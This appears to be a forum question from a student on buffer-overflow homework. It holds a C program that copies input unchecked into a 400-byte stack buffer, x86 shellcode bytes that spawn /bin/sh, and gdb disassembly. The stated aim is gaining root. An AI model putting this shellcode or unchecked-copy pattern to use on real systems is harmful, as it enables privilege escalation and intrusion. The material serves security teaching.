I have some homework about bufferoverflow.
int func1(char *str) {
char buffer[400];
strcpy(buffer,str);
printf("%s\n", buffer);
}
int main(int argc, char *argv[]) {
func1(argv[1]);
}
This is my bufferoverflow.c and I also have shellcode.txt
\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
The goal is using bufferoverflow to get root permission.
But, I don't know exactly what to do.
I use 'gdb' and disas about main and func1 function.
However, Assembly code didn't give me many information.
Dump of assembler code for function main:
0x08048422 <+0>: push %ebp
0x08048423 <+1>: mov %esp,%ebp
0x08048425 <+3>: and $0xfffffff0,%esp
0x08048428 <+6>: sub $0x10,%esp
0x0804842b <+9>: mov 0xc(%ebp),%eax
0x0804842e <+12>: add $0x4,%eax
0x08048431 <+15>: mov (%eax),%eax
0x08048433 <+17>: mov %eax,(%esp)
0x08048436 <+20>: call 0x80483f4 <func1>
0x0804843b <+25>: leave
0x0804843c <+26>: ret
Dump of assembler code for function func1:
0x080483f4 <+0>: push %ebp
0x080483f5 <+1>: mov %esp,%ebp
0x080483f7 <+3>: sub $0x1a8,%esp
0x080483fd <+9>: mov 0x8(%ebp),%eax
0x08048400 <+12>: mov %eax,0x4(%esp)
0x08048404 <+16>: lea -0x198(%ebp),%eax
0x0804840a <+22>: mov %eax,(%esp)
0x0804840d <+25>: call 0x8048314 <strcpy@plt>
0x08048412 <+30>: lea -0x198(%ebp),%eax
0x08048418 <+36>: mov %eax,(%esp)
0x0804841b <+39>: call 0x8048324 <puts@plt>
0x08048420 <+44>: leave
0x08048421 <+45>: ret